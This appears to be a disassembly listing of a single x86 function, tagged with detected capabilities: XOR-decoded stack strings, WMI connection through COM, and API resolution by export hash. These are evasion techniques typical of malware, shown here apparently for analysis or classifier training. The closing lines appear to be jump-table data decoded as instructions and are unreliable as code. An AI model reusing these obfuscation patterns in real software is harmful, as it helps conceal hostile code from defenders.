Function at 0x4303b0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb8
mov eax, dword [0x443f54]
mov dword [esp + 0x18], 0x9f4999bd
mov dword [esp + 0x1c], 0xa3559d65
mov dword [esp + 0x20], 0xa743a154
mov dword [esp + 0x24], 0xab6ea549
mov dword [esp + 0x28], 0xaf47a95e
mov dword [esp + 0x2c], 0xb357ad56
mov dword [esp + 0x30], 0xb7b6b195
mov dword [esp + 0x60], 0
mov ecx, dword [esp + 0x60]
cmp ecx, 0x1b
ja 0x43044b
nop
nop
nop
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x60]
movzx edx, byte [esp + edx + 0x18]
add ecx, 0x3a7b8cda
xor ecx, edx
mov dword [esp + 0xa4], ecx
mov ecx, dword [esp + 0xa4]
add cl, 0xbe
mov edx, dword [esp + 0x60]
mov byte [esp + edx + 0x18], cl
inc dword [esp + 0x60]
mov ecx, dword [esp + 0x60]
cmp ecx, 0x1c
jb 0x430410
lea ecx, [esp + 0x60]
lea edi, [esp + 0xa4]
lea esi, [esp + 0x18]
push ecx
push 8
push edi
push 0xd
push esi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441538]
mov dword [esp + 0xa4], 0x3a0043
mov dword [esp + 0xa8], 0x5c
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
lea eax, [esp + 0x5c]
push eax
push 0x43ba40
push 1
push 0
push 0x43ba50
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441540]
mov dword [esp + 0x18], 0x34d0152
mov dword [esp + 0x1c], 0x752054b
mov dword [esp + 0x20], 0xb490954
mov dword [esp + 0x24], 0xf430d45
mov dword [esp + 0x28], 0x13201146
mov dword [esp + 0x2c], 0x1514
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x17
ja 0x430559
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x18]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x85be2000
mov dword [esp + 0x70], edx
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x18
jb 0x430520
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441548]
jmp dword [0x4415d8]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x74]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441560]
mov dword [esp + 0xa0], ebx
jmp dword [0x44156c]
mov dword [esp + 0x18], 0xd90ddb6d
mov dword [esp + 0x1c], 0xdddedf04
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xa
ja 0x430630
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x18]
lea edx, [eax + ecx]
add edx, 0x9b1b772f
add eax, 0x9b1b772f
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x70], edx
mov eax, dword [esp + 0x70]
add al, 0x15
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xb
jb 0x4305f0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 0x18], 0xc9b1cba1
mov dword [esp + 0x1c], 0xc5bdc7bc
mov dword [esp + 0x20], 0xc1aec3b9
mov dword [esp + 0x24], 0xfda8ffe0
mov dword [esp + 0x28], 0xf980fbdc
mov dword [esp + 0x2c], 0xf587f796
mov dword [esp + 0x30], 0xf1d2f387
mov dword [esp + 0x34], 0xed79ef99
mov dword [esp + 0x38], 0xe9a7eb7e
mov dword [esp + 0x3c], 0xe587e7a6
mov dword [esp + 0x40], 0xe195e39a
mov dword [esp + 0x44], 0x1d731f91
mov dword [esp + 0x48], 0x1b1c
mov byte [esp + 0x4c], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x34
ja 0x4306f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x18]
add eax, 0xa67d2fd3
xor eax, ecx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x70]
add al, 0xe1
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x35
jb 0x4306c0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0x58]
mov edx, dword [ecx]
lea esi, [esp + 0x88]
push esi
lea esi, [esp + 0x1c]
push 0
push 0x30
push eax
push edi
push ecx
call dword [edx + 0x50]
jmp case.0x430583.9
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
lea edx, [esp + 0x88]
push edx
push 0
push 0x30
push ebx
push edi
push eax
call dword [ecx + 0x50]
jmp dword [0x441574]
mov dword [esp + 0x18], 0xd90ddb6d
mov dword [esp + 0x1c], 0xdddedf04
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xa
ja 0x4307c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x18]
lea edx, [eax + ecx]
add edx, 0x9b1b772f
add eax, 0x9b1b772f
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x70], edx
mov eax, dword [esp + 0x70]
add al, 0x15
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xb
jb 0x430780
lea ebx, [esp + 0x4a]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 0x18], 0xc9b1cba1
mov dword [esp + 0x1c], 0xc5bdc7bc
mov dword [esp + 0x20], 0xc1aec3b9
mov dword [esp + 0x24], 0xfda8ffe0
mov dword [esp + 0x28], 0xf980fbdc
mov dword [esp + 0x2c], 0xf587f796
mov dword [esp + 0x30], 0xf1d2f387
mov dword [esp + 0x34], 0xed79ef99
mov dword [esp + 0x38], 0xe9a7eb7e
mov dword [esp + 0x3c], 0xe587e7a6
mov dword [esp + 0x40], 0xe195e39a
mov dword [esp + 0x44], 0x1d731f91
mov word [esp + 0x48], 0x1b1c
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x34
ja 0x430720
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x18]
add eax, 0xa67d2fd3
xor eax, ecx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x70]
add al, 0xe1
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x35
jb 0x430860
jmp 0x430720
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441578]
mov dword [esp + 0x90], 0
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
lea edx, [esp + 0x90]
lea esi, [esp + 0x94]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x90], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x441580]
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x94]
mov dword [esp + 0x18], 0x57fb4917
mov dword [esp + 0x1c], 0x53fb55ea
mov dword [esp + 0x20], 0x5fea51f1
mov dword [esp + 0x24], 0x5be75d0e
mov dword [esp + 0x28], 0xa70859ed
mov dword [esp + 0x2c], 0xa31ca509
mov dword [esp + 0x30], 0xa1a0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1b
lea esi, [esp + 0x18]
ja 0x430995
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx edx, byte [esp + edx + 0x18]
add ecx, 0xbc5c456e
xor ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xda
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x18], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1c
jb 0x430960
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x78]
push edx
push 0
push esi
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x70], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x441588]
push dword [esp + 0x78]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov esi, dword [esp + 0x78]
mov dword [esp + 0xc], eax
lea eax, [esi + eax*2]
mov dword [esp + 0x8c], eax
movzx edx, word [esi]
test dx, dx
mov dword [esp + 0x98], edi
mov dword [esp + 0x14], esi
je 0x430a31
xor ecx, ecx
mov eax, esi
jmp 0x430a06
add esi, ecx
movzx edx, word [eax + 2]
add eax, 2
mov ecx, esi
test dx, dx
je 0x430a37
cmp eax, dword [esp + 0x8c]
jae 0x430a35
movzx edi, dx
cmp edi, 0x800
mov edx, 3
sbb edx, 0
mov esi, 1
cmp edi, 0x80
jb 0x4309f6
mov esi, edx
jmp 0x4309f6
xor esi, esi
jmp 0x430a37
mov esi, ecx
lea eax, [esi + 1]
mov dword [esp + 8], eax
mov edi, dword [case.0x4309ba.4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push dword [esp + 8]
call fcn.004097d0
add esp, 4
jmp edi
mov dword [esp + 0x54], eax
test esi, esi
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 8]
jle 0x430b91
mov eax, dword [esp + 0x54]
cmp dword [esp + 0xc], 0
jle 0x430b91
mov eax, dword [esp + 0x54]
lea edx, [eax + esi]
mov dword [esp + 0x9c], edx
add edi, eax
add ecx, 2
mov dword [esp + 8], edi
movzx edx, word [ecx - 2]
test dx, dx
je 0x430b91
cmp dx, 0x7f
ja 0x430aba
mov byte [eax], dl
mov dword [esp + 0xc], 1
jmp 0x430b6e
mov dword [esp + 0x14], ecx
mov dword [esp + 0x50], eax
mov ecx, eax
not ecx
add ecx, edi
movzx eax, dx
cmp ecx, 2
jb 0x430b07
cmp eax, 0x7ff
ja 0x430b07
mov eax, edx
shr eax, 6
add al, 0xc0
mov ecx, dword [esp + 0x50]
mov byte [ecx], al
mov eax, ecx
mov ecx, edx
not ecx
or ecx, 0x3f
add ecx, edx
add cl, 0x81
mov byte [eax + 1], cl
mov dword [esp + 0xc], 2
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 8]
jmp 0x430b6e
mov dword [esp + 0x84], eax
mov dword [esp + 0xc], 0
cmp ecx, 3
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 8]
mov eax, dword [esp + 0x50]
jb 0x430b6e
mov eax, dword [esp + 0x84]
shr eax, 0xc
or al, 0xe0
mov edi, dword [esp + 0x50]
mov byte [edi], al
mov edi, dword [esp + 8]
mov eax, dword [esp + 0x50]
shr dword [esp + 0x84], 6
mov ecx, dword [esp + 0x84]
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
mov ecx, dword [esp + 0x14]
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov dword [esp + 0xc], 3
add eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x9c]
jae 0x430b91
mov edx, eax
lea eax, [ecx + 2]
cmp ecx, dword [esp + 0x8c]
mov ecx, eax
mov eax, edx
jb 0x430a98
mov byte [eax], 0
xor edi, edi
mov edx, dword [case.0x4309ba.16]
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4415a0]
mov dword [esp + 8], esi
mov esi, edi
and esi, 0xfffffffb
mov eax, edi
and eax, 4
mov ecx, edi
or ecx, 4
imul ecx, eax
xor eax, 4
imul eax, esi
mov esi, dword [esp + 8]
add ecx, dword [esp + 0x54]
mov eax, dword [eax + ecx]
mov dword [esp + edi*4 + 0x60], eax
add esi, 0xfffffffc
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x4415b8]
jmp edx
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4415a0]
mov eax, dword [case.0x4309ba.11]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov edi, dword [esp + 0x98]
jmp dword [0x4415d0]
push dword [esp + 0x54]
call fcn.004097e0
add esp, 4
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x94]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call esi
push ebx
call esi
lea edi, [esp + 0xa4]
lea esi, [esp + 0x18]
mov ebx, dword [esp + 0xa0]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4415d8]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4415e0]
mov ebx, esi
mov esi, dword [ebp + 8]
mov dword [esp + 0x18], 0
push 0xefddb36b
push dword [0x443f4c]
call fcn.00437b70
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4415e8]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x60], eax
jmp dword [0x4415fc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
add al, 0x43
add byte [edi + 4], ch
inc ebx
add byte [edi - 0x2dffbcf4], ah
add al, 0x43
add byte [edx - 0x6fffbcfb], cl
add eax, 0x5900043
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0xe], bl
add eax, 0x5900043
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0xe], bl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [esi + 0xc], ch
inc ebx
add byte [ebp + eax + 0x5c10043], dh
inc ebx
add byte [edi + 7], al
inc ebx
add byte [edi + 7], al
inc ebx
add byte [eax + 0x50004308], bl
or al, 0x43
add byte [eax + ecx + 0xc430043], ah
inc ebx
add ah, dh
or byte [ebx], al
sub ecx, dword [ebx + eax*2]
add cl, al
or dword [ebx], eax
push eax
or al, byte [ebx]
push eax
or al, byte [ebx]
pop esi
or al, byte [ebx]
push eax
or al, byte [ebx]
add cl, byte [ebx + eax*2]
add byte [eax + 268452619], dh
or al, 0x43
add byte [eax], dl
or al, 0x43
add byte [eax], dl
or al, 0x43
add byte [edx], dl
or al, 0x43
add al, dh
or eax, dword [ebx]
adc cl, byte [ebx + eax*2]
add al, dh
or eax, dword [ebx]
lock or eax, dword [ebx]
or eax, dword [ebx]
lock or eax, dword [ebx]
pop ds
or al, 67
add byte [ebx], ch
or al, 0x43
add byte [eax + 0x7e00430c], dl
or al, 0x43
add byte [edi - 0x6fffbcf4], ah
or al, 0x43
add byte [esi + 0xe], dl
inc ebx
add al, dh
or al, 0x43
add al, dh
or al, 0x43
add al, dh
or al, 0x43
add al, dh
or al, 0x43
add dh, bh
or al, 0x43
add byte [esi + 0xe], dl
inc ebx
add byte [eax], dl
or eax, 0xd590043
inc ebx
add byte [eax], ah
or eax, 0xd300043
inc ebx
add byte [eax], dh
or eax, 0xd400043
inc ebx
add byte [eax], dh
or eax, 0xd400043
inc ebx
add byte [eax + 0xd], al
inc ebx
add byte [esi + 0xd], al
inc ebx
add byte [eax + 0xd], al
inc ebx
add byte [ecx + 0xd], bl
inc ebx
add byte [esi + 0xd], dl
inc ebx
add byte [esi + ecx + 0x43], al
add byte [eax], dh
push cs
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + ecx + 0x43], al
add byte [eax - 0x7fffbcf2], al
push cs
inc ebx
add byte [edx - 0x7fffbcf2], cl
push cs
inc ebx
add byte [esi - 0x4affbcf2], ch
push cs
inc ebx
add byte [esi - 0x2fffbcf2], bh
push cs
inc ebx
add bl, ah
push cs
inc ebx
add al, dl
push cs
inc ebx
add byte [edi - 0x5dffbcf1], dl
adc byte [ebx], al
xchg edi, eax
cmovae eax, dword [eax]
ljmp 0x4310